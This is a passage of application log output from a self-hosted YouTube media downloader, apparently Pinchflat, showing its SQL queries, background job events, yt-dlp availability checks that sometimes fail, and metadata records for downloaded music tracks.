"media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [152] 22:21:16.287 [debug] Current batch of media processed. Will check again in 1000ms 22:21:16.727 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KuYc0SyH5hc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/90/f3/90f32370a545e5187fd8d19a7384b579314f0e99b31126e0ea7493c9b02766cd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] KuYc0SyH5hc: Video unavailable. This video is not available 22:21:16.727 [error] yt-dlp download error for media item #195: "ERROR: [youtube] KuYc0SyH5hc: Video unavailable. This video is not available\n" 22:21:16.727 [error] yt-dlp download will not be retried: "ERROR: [youtube] KuYc0SyH5hc: Video unavailable. This video is not available\n" 22:21:16.886 [info] {"args":{"id":195},"id":216,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3572987,"event":"job:stop","queue_time":28855688,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:17.023 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xSWL3L9FnQ4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d7/40/d740c5925a7190bc58f004f0925dd30ca03229a2d885c4ae8c0493d6f6eef3a1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] xSWL3L9FnQ4: Video unavailable. This video is not available 22:21:17.023 [error] yt-dlp download error for media item #196: "ERROR: [youtube] xSWL3L9FnQ4: Video unavailable. This video is not available\n" 22:21:17.098 [error] yt-dlp download will not be retried: "ERROR: [youtube] xSWL3L9FnQ4: Video unavailable. This video is not available\n" 22:21:17.098 [info] {"args":{"id":200},"id":218,"meta":{},"system_time":1784859677098492666,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:17.099 [debug] QUERY OK source="media_items" db=0.2ms idle=811.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [200] 22:21:17.099 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:21:17.247 [info] {"args":{"id":196},"id":217,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3943980,"event":"job:stop","queue_time":28855688,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:17.279 [debug] QUERY OK source="sources" db=179.4ms idle=213.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:21:17.280 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=180.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:17.281 [debug] QUERY OK source="media_items" db=0.4ms idle=32.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [200] 22:21:17.282 [debug] QUERY OK source="media_metadata" db=0.1ms idle=3.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [200] 22:21:17.282 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:17.283 [debug] QUERY OK source="settings" db=0.2ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:17.283 [debug] Running yt-dlp command for action: get_downloadable_status 22:21:17.284 [info] {"source":"oban","duration":530366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:17.285 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:17.285 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:17.285 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:17.285 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lrN06b4byiM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/da/ed/daed93ff21eec5d6710bffdf3a5a23e8f57c90a6792ec210aaa5c6beda235d2b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:17.287 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by DistroKid\n\nMotherboard · TotalDeadCenter\n\nBinary Insanity\n\n℗ TDC\n\nReleased on: 2023-07-10\n\nAuto-generated by YouTube.", "duration" => 226, "filename" => "/downloads/Grift/Grift/2023-07-09Motherboard[oB0Zh9mDAqk].m4a", "id" => "oB0Zh9mDAqk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oB0Zh9mDAqk", "playlist_index" => 33, "timestamp" => 1688897028, "title" => "Motherboard", "upload_date" => "20230709"} 22:21:17.432 [info] {"args":{"id":201},"id":219,"meta":{},"system_time":1784859677432201175,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:17.432 [debug] QUERY OK source="media_items" db=0.1ms idle=147.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [201] 22:21:17.432 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:21:17.433 [debug] QUERY OK source="sources" db=0.1ms idle=147.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:21:17.433 [debug] QUERY OK source="media_profiles" db=0.1ms idle=147.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:17.433 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [201] 22:21:17.434 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [201] 22:21:17.434 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:17.434 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:17.435 [debug] Running yt-dlp command for action: get_downloadable_status 22:21:17.435 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:17.435 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:17.435 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:17.435 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=YrZj2_PmNU0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5f/fb/5ffb4e8394083dbb1dd0a5a290e0b75eb3000032121544f73e38a40ad057ce43.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:17.467 [debug] QUERY OK source="sources" db=179.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:17.468 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=32.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:17.518 [debug] QUERY OK source="media_items" db=50.1ms idle=32.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-09 10:03:48Z], 4] 22:21:17.684 [debug] QUERY OK source="media_items" db=166.1ms idle=82.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nMotherboard · TotalDeadCenter\n\nBinary Insanity\n\n℗ TDC\n\nReleased on: 2023-07-10\n\nAuto-generated by YouTube.", "Motherboard", "6604bfa6-f655-4f61-a576-f9be7d81662e", false, "oB0Zh9mDAqk", 226, false, "https://www.youtube.com/watch?v=oB0Zh9mDAqk", 33, "/downloads/Grift/Grift/2023-07-09Motherboard[oB0Zh9mDAqk].m4a", false, false, 4, [], 3, ~U[2023-07-09 10:03:48Z], ~U[2026-07-24 02:21:17Z], ~U[2026-07-24 02:21:17Z], "Provided to YouTube by DistroKid\n\nMotherboard · TotalDeadCenter\n\nBinary Insanity\n\n℗ TDC\n\nReleased on: 2023-07-10\n\nAuto-generated by YouTube.", "Motherboard", "oB0Zh9mDAqk", 226, false, "https://www.youtube.com/watch?v=oB0Zh9mDAqk", "/downloads/Grift/Grift/2023-07-09Motherboard[oB0Zh9mDAqk].m4a", false, 4, ~U[2023-07-09 10:03:48Z]] 22:21:17.718 [debug] QUERY OK source="sources" db=33.3ms idle=249.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:17.719 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=251.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:17.720 [debug] QUERY OK source="media_items" db=0.5ms idle=251.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [153] 22:21:17.720 [debug] Current batch of media processed. Will check again in 1000ms 22:21:18.721 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by DistroKid\n\nRed Room · TotalDeadCenter\n\nBinary Insanity\n\n℗ TDC\n\nReleased on: 2023-07-10\n\nAuto-generated by YouTube.", "duration" => 194, "filename" => "/downloads/Grift/Grift/2023-07-09Red Room[2Y1aSL5g0Po].m4a", "id" => "2Y1aSL5g0Po", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2Y1aSL5g0Po", "playlist_index" => 34, "timestamp" => 1688897015, "title" => "Red Room", "upload_date" => "20230709"} 22:21:18.722 [debug] QUERY OK source="sources" db=0.2ms idle=1037.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:18.722 [debug] QUERY OK source="sources" db=0.1ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:18.723 [debug] QUERY OK source="media_items" db=0.1ms idle=1003.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-09 10:03:35Z], 4] 22:21:20.952 [debug] QUERY OK source="media_items" db=2175.2ms idle=1002.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nRed Room · TotalDeadCenter\n\nBinary Insanity\n\n℗ TDC\n\nReleased on: 2023-07-10\n\nAuto-generated by YouTube.", "Red Room", "fdb6eb46-c88e-4756-8d02-9eada1a3d11a", false, "2Y1aSL5g0Po", 194, false, "https://www.youtube.com/watch?v=2Y1aSL5g0Po", 34, "/downloads/Grift/Grift/2023-07-09Red Room[2Y1aSL5g0Po].m4a", false, false, 4, [], 3, ~U[2023-07-09 10:03:35Z], ~U[2026-07-24 02:21:18Z], ~U[2026-07-24 02:21:18Z], "Provided to YouTube by DistroKid\n\nRed Room · TotalDeadCenter\n\nBinary Insanity\n\n℗ TDC\n\nReleased on: 2023-07-10\n\nAuto-generated by YouTube.", "Red Room", "2Y1aSL5g0Po", 194, false, "https://www.youtube.com/watch?v=2Y1aSL5g0Po", "/downloads/Grift/Grift/2023-07-09Red Room[2Y1aSL5g0Po].m4a", false, 4, ~U[2023-07-09 10:03:35Z]] 22:21:20.953 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1106.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:20.954 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1106.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:20.954 [debug] QUERY OK source="media_items" db=0.3ms idle=1107.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [154] 22:21:20.955 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "𝗟𝗜𝗩𝗘 𝗖𝗢𝗠𝗣𝗜𝗟𝗔𝗧𝗜𝗢𝗡\nshows featured: 5\nLIVE AT THE 02 ARENA\nSEIKIMA-II vs BABYMETAL - ENCOUNTER - 「WOWOW」\nSEIKIMA-II vs BABYMETAL - IMPACT 